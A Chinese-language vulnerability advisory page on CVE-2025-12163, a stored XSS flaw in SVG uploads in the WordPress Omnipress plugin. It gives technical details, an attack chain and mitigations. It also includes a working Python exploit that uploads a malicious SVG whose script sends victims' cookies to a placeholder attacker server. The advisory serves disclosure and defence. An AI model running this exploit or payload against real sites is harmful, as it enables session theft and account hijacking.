IPBUF安全漏洞报告
English
CVE-2025-12163 CVSS 6.4 中危

CVE-2025-12163 WordPress Omnipress插件SVG上传存储型XSS漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-12163
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Omnipress插件 for WordPress

相关标签

存储型XSSSVG上传漏洞WordPress插件漏洞OmnipressCVE-2025-12163文件上传安全跨站脚本攻击

漏洞概述

CVE-2025-12163是WordPress Omnipress插件中的一个高危安全漏洞,该漏洞允许经过身份验证的攻击者通过SVG文件上传功能注入恶意脚本代码。Omnipress是一款广泛应用于WordPress网站的插件,主要用于内容管理和文件处理功能。漏洞的根本原因在于插件对用户上传的SVG文件缺乏有效的输入消毒和输出转义处理。攻击者可以利用此漏洞在SVG文件中嵌入JavaScript代码,当其他用户访问这些被上传的SVG文件时,恶意脚本将在受害者浏览器中执行,从而实现窃取会话Cookie、劫持用户账户、进行钓鱼攻击等恶意行为。由于SVG文件可以存储在服务器上并被多次访问,这种存储型XSS漏洞的影响范围较广,危害程度不容忽视。漏洞影响Omnipress插件1.6.5及以下所有版本,CVSS评分6.4,属于中危漏洞。攻击者需要拥有WordPress网站的Author级别或更高权限账户才能利用此漏洞,这降低了漏洞被利用的门槛,因为Author权限在WordPress中相对容易获得。

技术细节

漏洞存在于Omnipress插件的文件上传处理模块中,具体位置在FileUploader.php(第106行)、RestControllersBase.php(第81行)和FileUploadRestController.php(第57行)的代码中。插件在处理SVG文件上传时,直接将用户提供的文件内容保存到服务器目录,而没有对SVG标签中的JavaScript代码进行过滤或转义。SVG格式本身支持内联脚本,攻击者可以在SVG文件的<script>标签中嵌入恶意JavaScript代码,或者利用SVG的事件处理属性(如onload、onerror等)执行脚本。当受害者在浏览器中直接访问或通过<img>标签引用这些SVG文件时,浏览器会解析SVG并执行其中嵌入的恶意脚本。由于WordPress插件通常会将上传的文件保存在可公开访问的目录中,攻击者只需获取文件URL即可诱导其他用户访问。攻击者利用WordPress的Author权限即可上传恶意SVG文件到服务器,插件的REST API端点缺乏对SVG文件内容的严格校验,允许任何经过身份验证的用户上传任意内容的文件。修复后的版本需要添加SVG文件内容的安全检查,禁用SVG中的脚本执行,或将上传的SVG文件存储在非公开目录中。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的Author级别或更高权限账户
STEP 2
步骤2
攻击者创建包含恶意JavaScript代码的SVG文件,利用SVG的onload事件或script标签注入XSS payload
STEP 3
步骤3
攻击者通过Omnipress插件的REST API端点(wp-json/omnipress/v1/file-upload)上传恶意SVG文件
STEP 4
步骤4
插件将SVG文件保存到服务器的公开访问目录,未对文件内容进行消毒处理
STEP 5
步骤5
攻击者将SVG文件的URL分享给其他用户或嵌入到文章页面中
STEP 6
步骤6
受害者访问SVG文件时,浏览器解析SVG并执行其中的恶意脚本,窃取Cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12163 PoC - Omnipress SVG XSS Exploit # Target: WordPress site with Omnipress plugin <= 1.6.5 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" username = sys.argv[2] if len(sys.argv) > 2 else "author_username" password = sys.argv[3] if len(sys.argv) > 3 else "author_password" # Malicious SVG content with XSS payload malicious_svg = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"> <script type="text/javascript"> // Steal cookies and send to attacker server var stolen_data = document.cookie; fetch('https://attacker-server.com/steal?data=' + encodeURIComponent(stolen_data)); </script> </svg>''' def exploit(): session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Upload malicious SVG file via Omnipress REST API upload_url = f"{target_url}/wp-json/omnipress/v1/file-upload" files = { 'file': ('malicious.svg', malicious_svg, 'image/svg+xml') } upload_response = session.post(upload_url, files=files) if upload_response.status_code == 200: result = upload_response.json() svg_url = result.get('url', '') print(f"[+] Malicious SVG uploaded successfully!") print(f"[+] SVG URL: {svg_url}") print(f"[!] When users access this URL, XSS payload will execute") return True else: print(f"[-] Upload failed with status: {upload_response.status_code}") return False if __name__ == "__main__": exploit()

影响范围

Omnipress插件 <= 1.6.5

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1)限制WordPress用户的文件上传权限,仅允许管理员上传文件;2)在Web服务器配置中禁止.svg文件的脚本执行(如在nginx中设置Content-Type为image/svg+xml并添加X-Content-Type-Options: nosniff头);3)删除.htaccess或配置Apache/Nginx阻止SVG文件的JavaScript执行;4)使用网站应用防火墙(WAF)规则检测和阻止恶意SVG文件上传。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表